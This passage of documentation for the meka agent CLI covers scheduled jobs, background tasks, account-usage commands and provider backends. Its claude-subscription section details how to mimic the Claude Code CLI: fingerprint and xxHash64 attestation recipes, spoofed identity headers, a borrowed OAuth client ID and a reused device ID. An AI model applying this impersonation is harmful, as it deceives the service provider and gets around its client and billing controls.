[permissions].enabledwhen reading a session’s recorded level, so neither can report a job as able to fire that the host refuses. -
GET /v1/scheduleandGET /v1/sessions/{id}/schedulecarry awithheldfield with the same sentence, absent when the job can fire.
Firing the reminder ungated instead would be the more forgiving-looking choice and the wrong one: it
turns a conditional job into an unconditional one, so an every = "1m" watcher that normally speaks
once a week would deliver a turn a minute for as long as the session stayed below that bar. An
ungated job is unaffected by a gate’s authority, and keeps firing at any level above none.
At none nothing fires at all, gated or not. Every tool is refused at dispatch there, so the turn
would read nothing, change nothing, and be unable to reach schedule_cancel to stop itself being
woken again – tokens spent to produce an agent that can describe its predicament and do nothing
about it. POST /v1/sessions/{id}/schedule refuses to create a job on such a session for the same
reason; schedule_create needs read to dispatch at all, so the agent cannot reach it.
Both halves are load-bearing. The recorded level rarely refuses on its own, since a creation door already demanded it; the live level is what makes a withdrawal real. The recorded level still matters for a job created before it was stored, which reads as “no authority” and stays refused.
Inspecting jobs
The agent sees a short index of the current session’s jobs in its per-turn context, so it can avoid
scheduling a duplicate. For details it calls schedule_list.
From your side:
meka schedule list # every session's jobs
meka schedule list --session 0b5c # one session, by id or unique prefix
meka schedule show 7f3a1b2c # one job in full, by id or unique prefix
meka schedule cancel 7f3a1b2c # by id, or any unique prefix
list is a table to scan: job id, the session it wakes, its schedule, how long until it next fires,
whether it is gated (shell, tool, or -), and the beginning of its prompt. Every cell is bounded
so the table stays legible.
Both ids print as a UUID’s first segment, and widen only if that would show two rows the same
string, so what you see is normally enough to retype into show, cancel or --session, which
take any unique prefix. show prints both in full.
Normally, because uniqueness is computed over the rows being printed while show and cancel scan
every job there is. list --session <id> narrows the table, so it can print a prefix that another
session’s job makes ambiguous. It fails closed – the command refuses and names the ids that
collided – and an unfiltered meka schedule list always prints a prefix that resolves.
show is the one that answers what a job actually does: the whole prompt, the whole command or tool
a gate runs, the session’s full id, when it last fired, and whether it is withheld. Nothing there is
truncated, which is why it is a separate command rather than a wider table.
In the REPL, /schedule lists the current session’s jobs, /schedule show <id> prints one in full,
and /schedule cancel <id> cancels one. All three answer inside the conversation you are in: a job
belonging to another session is not found here, which is what makes the ids the listing prints the
ids the other two take. The table drops the Session column, which would repeat one id down every
row, and spends the width on Held instead.
Configuration
[schedule]
enabled = true # default true; false hides the tools and stops the scheduler
poll_interval = "10s" # how often due jobs are checked
missed_grace = "24h" # how late a one-shot may be and still fire
gate_timeout = "30s" # wall-clock budget for a gate probe
max_jobs = 50 # per-session ceiling, refused at schedule_create
max_consecutive_fires = 5 # per-session ceiling on turns spent in one sweep
claim_lease = "1h" # how long a host's claim on an occurrence is good for
max_consecutive_fires bounds a batch, not a total. A sweep contains its turns, so lowering it does
not stop a backlog landing, nor slow it down – it splits it into smaller groups with other sessions
interleaved between them. Raising it above the number of jobs one session can have due at once has
no effect at all.
With a long poll_interval and a small budget, a large backlog can take long enough to drain that a
one-shot job ages past missed_grace and is dropped (with a warning) before its turn comes.
poll_interval is the real resolution floor: a job with a shorter interval fires once per tick, not
once per interval.
Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves
existing jobs on disk without firing. POST /v1/sessions/{id}/schedule refuses with a 422 rather
than accepting a job that could never run; GET /v1/schedule and DELETE /v1/schedule/{job_id}
keep working, so jobs left over from before the flag was flipped can still be listed and cleared.
Tips
- Write the prompt for a reader who has no context. The conversation that created the job may be long over, and after a compaction the turn that created it may not have survived.
- Reach for a gate whenever the answer is usually “nothing happened”.
- Keep gate probes fast and read-only. They run on every tick, and a gate that changes something is a side effect on a timer.
- Check what a gate’s probe returns across two runs where nothing happened. Identical output is the whole mechanism, and anything varying inside it turns the gate into a timer.
- If a schedule matters, check what
schedule_createreports back: it states the resolved next fire in absolute local time, which is how you catch a cron expression that parsed fine and means something other than you intended.
Background Tasks
An ordinary tool call holds the turn open until it returns. That is right for reading a file and wrong for a twenty-minute build: the agent cannot answer anything else while it waits, and the alternative it reaches for on its own, nohup … & plus polling, gets no notification when the work is done.
A background tool call returns immediately with a task id and delivers its result later, as its own turn.
Off by default. Turn it on with:
[background]
enabled = true
max_tasks = 10 # concurrent per session
When to enable it
This changes the contract of the primary interaction. Without it, you ask and the agent answers. With it, you ask, the agent answers, and something else may interrupt you several minutes later.
That is right for an assistant that runs unattended, keeps talking while work proceeds, and reports when it lands. It is usually wrong for the interactive case, someone at a terminal using the REPL like a command line, where blocking is what you want and asynchrony is a surprise.
Every other capability block ([schedule], [skills], [memory]) defaults on. This one does not, because those add capability without changing when a turn ends.
How the agent uses it
Once enabled, every tool gains an optional background parameter, including tools from MCP servers, since a slow MCP call is exactly the kind worth detaching:
execute_command({"command": "cargo test --all", "background": true})
That returns something like:
Started in the background as task 7f3a1c22 (cargo test --all). It is still
running; its result will be delivered to you when it finishes.
The agent then carries on. When the task ends, its outcome arrives as a new turn:
[Background task reporting at 2026-08-12 14:31 CEST]
7f3a1c22 (cargo test --all) finished after 12m 4s.
test result: ok. 1674 passed; 0 failed
Running tasks also appear in the per-turn context under [Background], so the agent can see what it already started and does not launch a second copy:
[Background]
Tasks you started and did not wait for, still running. Each will report to you
on its own when it finishes; do not poll for them and do not start a second
copy of work already listed here.
- **7f3a1c22**: cargo test --all
That section is rendered fresh every turn from live state, like [Todo list], so it is always current rather than something the agent has to reconstruct. It carries no results: an outcome is permanent and belongs in the conversation, delivered as its own turn. The section disappears entirely when nothing is running.
Outcomes
Every task ends in one of four states, and every one of them is reported (as a turn everywhere except --oneshot, which has no later turn and prints them instead):
| Status | Meaning |
|---|---|
completed | The tool returned successfully |
failed | The tool returned an error |
cancelled | Stopped on request, via task_cancel, /tasks cancel, or a second Ctrl+C |
interrupted | The process holding it went away |
interrupted is the one that matters most. A task in flight when meka exits cannot be resumed, so it is retired and reported the next time something takes ownership of that session: a REPL resume, a meka serve reattach, or an ACP session/load. Nothing is written at exit; the next owner does the retiring, because holding the session lock is what proves the previous owner is gone. Without this the agent would wait forever on a result it had usually already promised someone.
Large output is written to a scratchpad entry and the delivered turn carries the beginning plus the entry name, so a long build log does not occupy the conversation permanently.
Managing tasks
The agent has task_list and task_cancel. You have:
/tasks # list this session's tasks
/tasks show 7f3a1c22 # one task in full, including its whole id
/tasks cancel 7f3a1c22 # stop one
/tasks cancel --all # stop all of them
A cancelled task still reports back, so the agent learns it stopped rather than waiting on it – but it does not interrupt to say so. Every other outcome wakes the agent when it lands, because nobody chose it: a build finished, a tool failed, or a host died holding the task. A cancellation is always somebody’s deliberate act, and that somebody already knows, so it waits and is read at the top of whichever turn the session takes next – yours, or a scheduled job’s – as part of that message rather than as one of its own. Cancelling several tasks costs no turns at all.
Webhooks do not wait on any of that. Under meka serve, task.finished fires as soon as a task
reaches a terminal state, rather than when a turn gets around to reporting it – so a cancelled task
is announced immediately, and one left running by a host that died is announced when the session is
next opened, which it was not before.
An outcome that rides a turn is part of that turn’s message, so /rewind over that exchange takes
the report with it. The task row is already stamped as reported and is not handed out again, so the
outcome is gone rather than redelivered. meka session export still has it: the log is append-only,
and a rewind changes what the model sees rather than what was recorded.
Ctrl+C
The first Ctrl+C cancels the turn only. Background tasks keep running.
This is the shell’s contract, where Ctrl+C signals the foreground process group and &-ed jobs survive. Losing a twenty-minute build to a keystroke aimed at the answer on screen is unrecoverable, and it is not what the keystroke meant.
meka prints what survived so nothing is hidden:
Interrupted.
2 background task(s) still running. Press Ctrl+C again during a turn to stop
them, or use /tasks.
A second Ctrl+C during the same turn stops them. Between turns, /tasks cancel --all is the route.
Where it works
| Host | Behaviour |
|---|---|
| REPL | Full. Outcomes arrive between turns |
meka serve | Full, for sessions currently resident |
| ACP | Full, for sessions the editor has open |
--oneshot | The run waits for outstanding tasks before exiting |
A one-shot run exits with the turn, so there is no later turn to deliver into. Rather than kill the work halfway through, it waits for every outstanding task and then prints the outcomes on stderr. The agent does not see them: its turn is already over. So a background call under --oneshot costs the same wall-clock as a synchronous one without the result reaching the model, which makes it worth avoiding rather than a feature to reach for.
Sub-agents (agent_spawn) deliberately cannot start background tasks. A sub-agent’s session ends with the single turn that spawned it, so it could neither outlive that turn nor be around to hear the result.
Concurrent edits
Background tasks make it ordinary for two agents to work in one directory at once. meka does not lock anything: coordination is the orchestrating agent’s job, exactly as it is between two people on one machine.
What it does do is make a lost race visible. edit_file records what a file looked like when it was read, and refuses an edit against a file that changed since:
Error: file 'src/main.rs' changed on disk after you read it. Something else
wrote to it (a shell command, another agent, or the user). Read it again
before editing so you are not overwriting that change, or set force=true to
edit anyway.
This applies whether or not background tasks are enabled: a shell sed -i, or your own editor, produces the same situation.
A file served by the editor under ACP is checked against the editor rather than the disk, since the bytes the agent saw were the editor’s. The check is the same; only the thing it compares against changes. See read-before-edit.
Account Info
meka account exposes read-only account information obtained through a provider’s OAuth API, so you
can script things that aren’t otherwise reachable (a status bar, a cron alert). Every subcommand
takes an optional profile (defaults to the active provider, same as --provider) and a
--format plain|json. The requested data goes to stdout; notes and errors go to stderr, so
meka account … 2>/dev/null | jq stays clean.
Availability is per backend: claude-subscription and chatgpt-subscription (subscription OAuth) support these;
for usage and stats, API-key backends, OpenAI-compatible endpoints and Ollama print a short
“not available” note and exit non-zero. whoami works on any profile: it fills the fields it can
and fails only when the credential itself is invalid.
meka account usage
Current rate-limit windows (percentage used + reset time):
$ meka account usage
Account usage
5-hour (session) [##--------] 23% used (resets in 1h 58m, 2026-07-02 02:10)
Weekly [----------] 4% used (resets in 12h 48m, 2026-07-02 13:00)
$ meka account usage --format json
{
"provider": "claude-max",
"windows": [
{ "label": "5-hour (session)", "used_percent": 23.0, "resets_at": 1782958200 },
{ "label": "Weekly", "used_percent": 4.0, "resets_at": 1782997200 }
],
"extra_usage": { "enabled": false, "utilization": null, "used": 0.0,
"balance": null, "currency": "USD" },
"note": null
}
resets_at is a Unix timestamp in seconds (date -d @1782958200). The extra_usage block reports
pay-as-you-go / overage state (whether it’s enabled, percent of the extra-usage limit consumed,
amount spent, and remaining credit balance); the plain view shows a line when it is enabled, has a
balance, or has recorded any spend.
meka account whoami
Account identity, plan, and local auth status. The auth block is computed from the stored
credential (no network), so even when the identity call fails because the token needs a re-login,
whoami still reports it and exits non-zero:
$ meka account whoami
Account: claude-max (claude-subscription)
Auth: valid (5h 45m)
Plan: claude_max
Tier: default_claude_max_20x
Subscription: active
Role: admin
$ meka account whoami --format json
{
"provider": "claude-max",
"backend": "claude-subscription",
"auth": { "valid": true, "expires_at": 1782971829, "expires_in_seconds": 20709 },
"identity": { "plan": "claude_max", "tier": "default_claude_max_20x",
"subscription_status": "active", "role": "admin", ... }
}
identity is null when the backend has no identity endpoint. expires_at / expires_in_seconds
are in seconds; a negative expires_in_seconds (or valid: false) means “run meka provider login”.
meka account stats
Historical usage. chatgpt-subscription is rich (lifetime tokens, peak day, streaks, and per-day token
counts); claude-subscription reports only a first-used date:
$ meka account stats
Account history: claude-max
First used: 2026-04-01
$ meka account stats --format json
{ "provider": "claude-max", "lifetime_tokens": null, "peak_daily_tokens": null,
"current_streak_days": null, "longest_streak_days": null,
"first_used": "2026-04-01T17:36:16.996974Z", "daily": [] }
For Codex, daily is a list of { "date": "YYYY-MM-DD", "tokens": N } you can feed into a graph.
Example: i3blocks
A block that shows the Claude 5-hour and weekly usage, refreshed every 5 minutes:
#!/bin/sh
# ~/.config/i3blocks/meka-usage (set interval=300)
u=$(meka account usage claude-max --format json 2>/dev/null) || { echo "claude ?"; exit 0; }
echo "$u" | jq -r '
(.windows[] | select(.label|startswith("5-hour")).used_percent) as $s |
(.windows[] | select(.label=="Weekly").used_percent) as $w |
"claude 5h:\($s|floor)% wk:\($w|floor)%"'
Each invocation makes one API call, so keep the poll interval sane (minutes, not seconds). The token is refreshed automatically when near expiry and written back to the database, exactly as during a normal session.
Providers Overview
Providers are the LLM inference backends meka uses to run your instructions. meka ships with five, each selectable as a profile type:
| Backend | Protocol | Endpoint | Auth |
|---|---|---|---|
anthropic-messages | Anthropic Messages | {base}/v1/messages | API key |
claude-subscription | Anthropic Messages | api.anthropic.com/v1/messages | Claude subscription |
openai-chat-completions | OpenAI Chat Completions | {base}/chat/completions | API key |
openai-responses | OpenAI Responses | {base}/responses | API key |
chatgpt-subscription | OpenAI Responses | chatgpt.com/backend-api/codex/responses | ChatGPT subscription |
A backend names the wire protocol, not a vendor. That is deliberate, and it cuts both ways. One vendor can serve several protocols: OpenAI publishes Chat Completions and Responses, and they are different request shapes, not options on one. One protocol is served by many vendors: /v1/messages is implemented by Anthropic, Amazon Bedrock, Databricks, LiteLLM and Ollama, so calling it “the Claude API” would misname it the moment you point it elsewhere.
The two subscription backends are the exception, and carry a vendor name instead. What you pick there is a billing relationship; the endpoint and the client shape come with it and are not yours to choose.
Synthetic is the clearest case for why this matters. One vendor, two protocols, two base URLs:
[providers.synthetic-claude]
type = "anthropic-messages"
base_url = "https://api.synthetic.new/anthropic/v1"
[providers.synthetic-gpt]
type = "openai-chat-completions"
base_url = "https://api.synthetic.new/openai/v1"
Configuring a Provider
Providers are configured as named profiles. The easiest way is meka provider add, which writes the
profile to the config file and stores the secret (API key or OAuth token) in the database:
$ meka provider add work --type claude-subscription --model claude-opus-5
This produces a [providers.work] entry in ~/.config/meka/config.toml:
default_provider = "work"
[providers.work]
type = "claude-subscription"
model = "claude-opus-5"
Selecting a Provider
A new session runs on the profile named by --provider <name>, else default_provider, else
the sole profile. Switch the default with meka provider use <name>:
meka --provider work # pick the profile this session starts on
meka provider use work # persist as default_provider
There is no environment-variable override for provider selection.
A resumed session ignores all three and runs on the profile it recorded, so meka -c stays
where the conversation was had whatever default_provider currently says. --provider on a resume
is not a per-run override either: it repins the session, rewriting the row so every later resume
keeps it. meka session list shows which profile each session runs on, which is the whole story: a
session records a profile name and nothing else. You can move a live session with /provider <name>
in the REPL, PATCH /v1/sessions/{id} over HTTP, or the Provider picker in an ACP client. See
Sessions.
Pointing a backend somewhere else
Every API-key backend takes a base_url, so the protocol you pick is independent of who serves it:
| Server | Chat Completions | Responses | Anthropic Messages |
|---|---|---|---|
| OpenAI | yes | yes | no |
| Anthropic | no | no | yes |
| Ollama | yes | yes (v0.13.3+) | yes |
| OpenRouter | yes | yes (beta) | yes |
| vLLM / LM Studio | yes | yes | no |
| Synthetic | yes | no | yes |
Where a server offers both OpenAI protocols, prefer openai-responses: it is what OpenAI recommends for new work and what the agent tooling ecosystem has moved to. Use openai-chat-completions for a server that does not serve Responses.
Note that several of these also expose a legacy /v1/completions endpoint. That is a third, different protocol: a bare prompt string in, choices[].text out, no tool calling. meka does not speak it. It cannot: the agent loop needs tool calls, which that protocol has no representation for.
anthropic-messages vs claude-subscription
Both talk to Claude’s /v1/messages endpoint, but the auth and request shape differ:
anthropic-messagesis the straightforward path: anx-api-keyheader and a plain system prompt, plusanthropic-beta: interleaved-thinking-2025-05-14whenever thinking is on (the default). Choose this when you have a Claude API key.claude-subscriptionreplicates the Claude Code CLI exactly: OAuth tokens, fingerprint-encoded version header, xxHash64 attestation over the request body, injected billing system block. Choose this when you want to use a Claude Code subscription. Any deviation from the expected shape causes requests to be rejected, so avoid proxies that rewrite headers or reformat the body.
Choosing between the OpenAI backends
Three backends, two protocols:
openai-chat-completionsposts to/chat/completionswith an API key. Choose it for a server that serves only this protocol.openai-responsesposts to/responseswith an API key, the same protocolchatgpt-subscriptionuses. Choose it for OpenAI, or for any server that serves Responses.chatgpt-subscriptionposts tochatgpt.com/backend-api/codex/responses, authenticating by OAuth againstauth.openai.comand mirroring the first-party Codex CLI. Choose it to bill a ChatGPT Plus / Pro / Team / Business subscription instead of a per-token API key.
The first two differ by protocol; the last two differ only by auth and endpoint.
Streaming vs Non-Streaming
By default, meka uses streaming mode: tokens appear in the terminal as they are generated. Use --no-stream to wait for the complete response before displaying it.
Streaming is recommended for interactive use. Non-streaming may be useful for scripting or when the provider does not support SSE.
Anthropic Messages
The Anthropic Messages API (POST {base_url}/v1/messages) with an API key. Use this when you have an Anthropic API key, billed per token; to bill a Claude subscription instead, see claude-subscription, which speaks the same protocol.
The protocol is not Anthropic’s alone. Databricks, OpenRouter, Vercel AI Gateway, LiteLLM, Synthetic and Ollama all serve /v1/messages, as does Amazon Bedrock on its Anthropic-compatible host (https://bedrock-mantle.{region}.api.aws/anthropic, with an API key, not bedrock-runtime, which is SigV4 and /model/{id}/invoke). This backend reaches any of them via base_url, which is why it is named for the protocol rather than for Claude.
Configuration
| Setting | Value |
|---|---|
Profile type | anthropic-messages |
| Default base URL | https://api.anthropic.com |
| Credential | API key (sk-ant-api03-...) stored in the database |
| Auth method | x-api-key header |
| API version | 2023-06-01 |
Quickest Start
meka provider add anthropic --type anthropic-messages --model claude-opus-5
meka provider add prompts for your Claude API key, stores it in the database, and writes the
[providers.anthropic] profile. To read the key from a pipe instead of prompting, pass
--api-key-stdin.
Config File
meka provider add writes this for you (the key stays in the database, not here):
default_provider = "anthropic"
[providers.anthropic]
type = "anthropic-messages"
model = "claude-opus-5"
effort
meka sends the reasoning-effort control as output_config.effort in the request body. Unlike claude-subscription, no beta header is needed: the parameter is generally available on the direct Messages API. When effort is unset the field is omitted entirely, which is how you ask for Anthropic’s own default. See the effort config reference for the levels.
thinking
adaptive (the default) sends thinking: {"type": "adaptive"} and lets the model set its own budget; budgeted sends the older {"type": "enabled", "budget_tokens": N} form, taking N from the profile’s thinking_budget and falling back to [thinking].budget_tokens; off sends no thinking field. Pre-4.6 Claude models require budgeted.
Supported Models
Any model available through the Claude Messages API; meka forwards the model string verbatim and doesn’t gate which strings are valid. For the current line-up and their retirement dates, see Anthropic’s models overview - meka provider add suggests claude-opus-5 for new Claude profiles.
Custom Base URL
To use a Claude-API-compatible proxy or gateway, set the profile’s base_url. Add it when creating
the profile, or change it later:
meka provider add gateway --type anthropic-messages --model claude-opus-5 \
--base-url https://gateway.example.com/anthropic
meka provider set gateway base_url https://gateway.example.com/anthropic
A trailing /v1 is dropped, since meka appends it per request: publish https://gateway.example.com/anthropic or https://gateway.example.com/anthropic/v1, either works.
Anthropic-compatible endpoints
The model behind the endpoint doesn’t have to be Claude. Ollama, LM Studio and similar runtimes serve local weights over POST /v1/messages, and anthropic-messages reaches them with a placeholder key:
meka provider add local --type anthropic-messages \
--model 'hf.co/bartowski/Qwen3.8-27B-GGUF:Q8_0' \
--base-url http://127.0.0.1:11434
Nothing in the request is tuned to Claude unless you ask for it. effort is omitted when unset, so a backend with no reasoning tiers is never handed one, and thinking is whatever the profile says rather than something inferred from the model name - set budgeted if your endpoint only implements the older encoding, or off if it implements neither.
The one setting worth stating is the context window. meka never probes for it, so an unset profile budgets against the 1M default; on a smaller model that means compaction only fires once the backend itself rejects the request:
[providers.local]
context_window = 262144
thinking = "budgeted" # only if the endpoint rejects the adaptive form
API Details
Endpoint: POST {base_url}/v1/messages
Headers:
x-api-key: <api_key>anthropic-version: 2023-06-01content-type: application/jsonaccept: application/jsonanthropic-beta: interleaved-thinking-2025-05-14, whenever thinking is on (the default)
System prompt: Sent as a top-level system string.
Tool format: Tools are defined with input_schema:
{
"name": "read_file",
"description": "Read the contents of a file at the given path.",
"input_schema": { "type": "object", "properties": { ... } }
}
Streaming: Server-Sent Events with named event types (message_start, content_block_start, content_block_delta, content_block_stop, message_delta, message_stop, ping).
Claude subscription
The Anthropic Messages API billed to a Claude subscription. Authenticates by OAuth and mimics the Claude Code CLI’s exact request shape, headers and request signing. Use this instead of a per-token Anthropic API key; for that, see anthropic-messages, which speaks the same protocol.
Named for the subscription rather than the protocol because that is what you are choosing: the endpoint is always api.anthropic.com and the client shape comes with the billing relationship.
Note: This provider replicates Claude Code’s fingerprinting and attestation machinery exactly. Modifying the request body, headers, or OAuth flow will cause requests to be rejected by Anthropic. If you hit 401/403 errors, verify that no middleware is rewriting the request.
Configuration
| Setting | Value |
|---|---|
Profile type | claude-subscription |
| Default base URL | https://api.anthropic.com |
| Credential | OAuth bundle stored in the database (acquired via meka provider add / login) |
| Auth method | Authorization: Bearer <oauth_token> |
| API version | 2023-06-01 |
Quickest Start
meka provider add work --type claude-subscription --model claude-opus-5
meka provider add opens your browser, walks you through authorization, and saves the tokens to the
local database. It also writes the [providers.work] profile and sets it as the default.
Config File
meka provider add writes this for you; you can also edit it by hand (secrets stay in the database):
default_provider = "work"
[providers.work]
type = "claude-subscription"
model = "claude-opus-5"
effort = "xhigh" # optional; unset sends "high", as Claude Code does
thinking = "adaptive" # optional; "adaptive"|"budgeted"|"off", default "adaptive"
redact_thinking = true # optional; default on, matching Claude Code
# device_id, oauth_token_url, client_id are all optional overrides
See Configuration → Config File for the full list of fields.
Provider-specific knobs
effort
Sent as output_config.effort under the effort-2025-11-24 beta. When unset, meka sends high, which is what Claude Code does; only a model that takes no effort at all gets neither the field nor the beta. An explicit value is absolute: sent verbatim, with no validation or clamping, whatever model it is aimed at. Typical values: "low", "medium", "high", "xhigh", "max". See Reasoning effort.
thinking
adaptive (the default) sends thinking: {"type": "adaptive"}; budgeted sends {"type": "enabled", "budget_tokens": N} from the profile’s thinking_budget (falling back to [thinking].budget_tokens), which pre-4.6 models require; off sends no thinking field. temperature follows whether thinking is on at all, not which encoding it uses. The betas do not: they are gated on the model alone.
redact_thinking
Adds the redact-thinking-2026-02-12 beta header for capable models, matching Claude Code, which sends it by default. With it on, the server withholds the readable chain of thought: thinking blocks come back with empty text plus a signature, and any redacted_thinking blocks carry an opaque data payload. meka preserves and replays both verbatim, so multi-turn reasoning continuity is maintained. The practical effect is that live thinking output goes quiet for these models (there is no readable text to show), exactly as in Claude Code. Defaults to true; set redact_thinking = false to drop the beta and keep interleaved thinking visible.
A stored block records that its signature is Claude’s, so resuming the session under an OpenAI profile does not replay a Claude signature as encrypted reasoning. A session recorded by 0.41 holds its blocks under a shape that names no provider, and meka does not reshape them when it opens a session; the one-shot upgrade script does. Until it runs, such a block keeps its readable text and loses its signature, so those turns are not replayed as verified reasoning.
device_id
Stable per-machine identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device ID (getOrCreateUserID in utils/config.ts).
If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine present as the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way the resolved value is persisted back to [providers.<name>].device_id in config.toml. Other backends ignore this field; no stub config file is written for them.
client_id
Optional override for the OAuth client ID. Defaults to Claude Code’s client ID; rarely needed.
Authentication
OAuth login
meka provider add (and meka provider login <name> to re-authenticate) performs an OAuth 2.0 Authorization Code flow with PKCE:
- meka generates a PKCE challenge and opens your browser to Claude’s authorization page.
- You authorize the application in your browser.
- You paste the authorization code back into meka (the redirect URI is the platform.claude.com hosted callback page, not a local listener).
- meka exchanges the code for access + refresh tokens.
- Tokens are stored in the local database and refreshed automatically.
The OAuth client ID defaults to Claude Code’s client ID but can be overridden per profile via client_id.
Token Lifecycle
- Acquire the initial token with
meka provider add/login. - The token bundle is stored in the database, keyed by the profile name.
- On subsequent launches the token is loaded from the database.
- meka refreshes the access token automatically when it’s within 5 minutes of expiry; the new token is written back to the database under the same profile.
- If the refresh token dies, run
meka provider login <name>to re-authenticate. meka says so itself: a refresh the authorisation server rejects ends the turn with that command in the error, naming the profile. A refresh that fails because the token endpoint is rate-limited or down is retried with backoff instead, since neither answer means the grant is bad.
Token refresh URL: defaults to https://api.anthropic.com/v1/oauth/token. Configurable via oauth_token_url in the profile.
Supported Models
Any model your Claude Code subscription exposes. For the current line-up and their retirement dates, see Anthropic’s models overview - meka provider add suggests claude-opus-5 for new Claude profiles.
meka forwards the model string verbatim and doesn’t gate which strings are valid. What is model-derived is a small set of gates, each pointed the way Claude Code points it. temperature is an allowlist, so an unrecognised model omits the field rather than earning a 400: it goes only to the models that still accept sampling params (Opus 4.6, Sonnet 4.6, Haiku 4.5, and older). mid-conversation-system-2026-04-07 and output_config.effort are denylists, so an unrecognised model gets both: withholding the first would silently drop mid-conversation system messages, and effort is what a newer model is for. The claude-code-20250219 beta is skipped for the Haiku tier. See Beta header and Reasoning effort.
API Details
Endpoint: POST {base_url}/v1/messages?beta=true
Authentication & identity headers:
Authorization: Bearer <oauth_token>anthropic-version: 2023-06-01anthropic-beta: <comma-separated beta list>(computed per request, see below)x-app: cliUser-Agent: claude-cli/<version> (external, cli)X-Claude-Code-Session-Id: <uuid>(per-process)- Stainless SDK identification headers (
x-stainless-*)
Beta header
Composed dynamically from the model + thinking settings, mirroring Claude Code’s own assembly. Order is significant; the list below matches the Claude Code 2.1.241 interactive-CLI wire capture (tools present, thinking on) exactly:
| Beta | When |
|---|---|
claude-code-20250219 | All models except Haiku family |
oauth-2025-04-20 | Always (subscription auth) |
interleaved-thinking-2025-05-14 | Any modern Claude (4.x+) |
redact-thinking-2026-02-12 | Any modern Claude (4.x+); on by default, redact_thinking = false opts out |
thinking-token-count-2026-05-13 | Any modern Claude (4.x+) |
context-management-2025-06-27 | Any modern Claude (4.x+) |
prompt-caching-scope-2026-01-05 | Always |
mid-conversation-system-2026-04-07 | Everything except Claude 3.x, Opus 4.7 and older, Sonnet 4.6 and older, and Haiku 4.5 |
advanced-tool-use-2025-11-20 | When the request carries tools (meka always does) |
effort-2025-11-24 | Every model that takes an effort at all, whether or not the profile set one |
fallback-credit-2026-06-01 | Always. Claude Code latches it on every interactive turn; it only advertises that the server may answer with a fallback credit, and meka sends no fallbacks of its own |
extended-cache-ttl-2025-04-11 | Always (meka sends a 1h cache TTL) |
meka does not send context-1m-2025-08-07: Claude Code stopped sending it after 2.1.185, because 1M is the default context window (no beta header) on the current large-context models.
System prompt
Sent as an array of three text blocks:
-
x-anthropic-billing-header: cc_version=<version>.<fingerprint>; cc_entrypoint=cli; cch=<xxHash64-attestation>;plus, when they apply,cc_is_subagent=true;,cc_prev_req=<request id>;andcc_prompt_id=<uuid>;, in that order. The fingerprint suffix is a 3-character hex hash derived from the first user message (SHA256(salt + msg[4] + msg[7] + msg[20] + version)[:3]); thecchtoken is xxHash64 of a filtered copy of the serialized request body, computed and patched in just before send.cc_prompt_ididentifies one human prompt and stays the same across every request that prompt produces, including the whole tool loop; a sub-agent inherits its spawner’s.cc_prev_reqnames therequest-idof the previous response in the same conversation, so it is absent on a conversation’s first request. Both are absent from meka’s own side queries, which is where Claude Code omits them too. -
You are Claude Code, Anthropic's official CLI for Claude.(fixed identity prefix). -
Your own system prompt, which carries
cache_control: {type: "ephemeral", ttl: "1h", scope: "global"}.
Only block 3 is marked for caching, matching the captured Claude Code CLI wire; scope: "global" shares the cached prefix across sessions. Tools carry no cache_control (the rolling last-message breakpoint caches the tools+system prefix).
Body key order
Keys are serialized in Claude Code’s own order, which HTTP preserves:
model, messages, system, tools, metadata, max_tokens, thinking,
[temperature], [context_management], [output_config], stream
Nothing in meka depends on that order. patch_request_body finds the cch=00000 placeholder by walking the JSON structurally to the top-level system key rather than by searching for the billing header, so a conversation that quotes one - which any session about this code does - cannot capture the attestation.
Other body fields
metadata.user_id: JSON-encoded{"device_id": "...", "account_uuid": "...", "session_id": "..."}(device_idfrom the profile’sdevice_id;account_uuidfrom the OAuth token, empty until one is known;session_idis per-process).context_management.edits = [{type: "clear_thinking_20251015", keep: "all"}]: present when thinking is enabled on a context-management-capable model. Mirrors Claude Code’sapiMicrocompact.output_config.effort: see Reasoning effort.temperature: 1(only whenthinking = "off", and only for models that still accept sampling params).max_tokens:64_000underthinking = "adaptive",max(thinking_budget * 2, 32_000)underbudgeted,32_000underoff.
Reasoning effort
Claude Code never leaves output_config.effort to the server on a model that takes one: it looks the model up in a table bundled in its binary, reads that model’s default_effort, clamps it to what the model supports, and sends the result. meka also always sends a value, but one value rather than a per-model one, and sends the effort-2025-11-24 beta alongside it.
| sent | |
|---|---|
profile sets effort | that value, verbatim |
| profile sets nothing | high |
| model takes no effort | nothing, and no beta; a configured value is dropped with a warning |
One value for every model, not a copy of that table. high is what Claude Code’s own resolution produces for almost every effort-capable model in the 2.1.241 table once the clamps have run, and it is what Claude Code falls back to for any model the table does not list. Carrying the per-model figures instead would add facts about Anthropic’s data that go stale on their release schedule and buy nothing, because the server cannot tell a default meka chose from a value you configured. Models that take no effort at all are the Claude 3.x line, Opus 4.0/4.1, Sonnet 4.0/4.5 and Haiku 4.5.
A value you configure is absolute. Claude Code silently lowers xhigh or max to high on a model whose bundled entry lacks the capability; meka does not, because that table is a snapshot of someone else’s system and quietly overriding what you asked for on the strength of it is worse than letting the API answer.
Only claude-subscription does this. anthropic-messages still omits effort when the profile sets none, because it can point at any Anthropic-compatible endpoint and has no standing to assert a default there.
Cache control
The most recent message’s last content block and the user system prompt carry cache_control: {type: "ephemeral", ttl: "1h"}. The 1h TTL is what an OAuth subscriber’s Claude Code turn carries on the wire.
Caching is prefix-based: the system prompt precedes the tools array, which precedes the messages, so a byte changing early invalidates everything after it. meka is built so that nothing which changes mid-session sits in that prefix.
- The system prompt is fixed for a session. It carries only the role description, permission model, user instructions, guidelines, and OS/shell info, all resolved once at startup. The tool catalogue, skill list, and MCP server instructions live in the per-turn
<context>block instead, because all three can change while a session runs. - The tools array only grows at the tail.
load_toolappends a schema rather than reordering, so the earlier entries stay byte-identical. - Permission toggles cost nothing. See Permissions.
Two things do legitimately invalidate it, both by necessity rather than oversight: compaction, which rewrites the head of the conversation, and an MCP server withdrawing a tool via tools/list_changed, which has to be removed from the tools array. The latter is confined to the array, leaving the system prompt ahead of it intact.
You can see the effect directly: /status reports the cache hit ratio, and reads should dominate from the second turn onward.
Streaming
Server-Sent Events with the same event taxonomy as anthropic-messages: content_block_start, content_block_delta, content_block_stop, message_delta, message_stop. Reasoning streams as thinking_delta events; redacted thinking arrives as a redacted_thinking block carrying an opaque data payload and no signature, rendered as [redacted thinking].
OpenAI Chat Completions
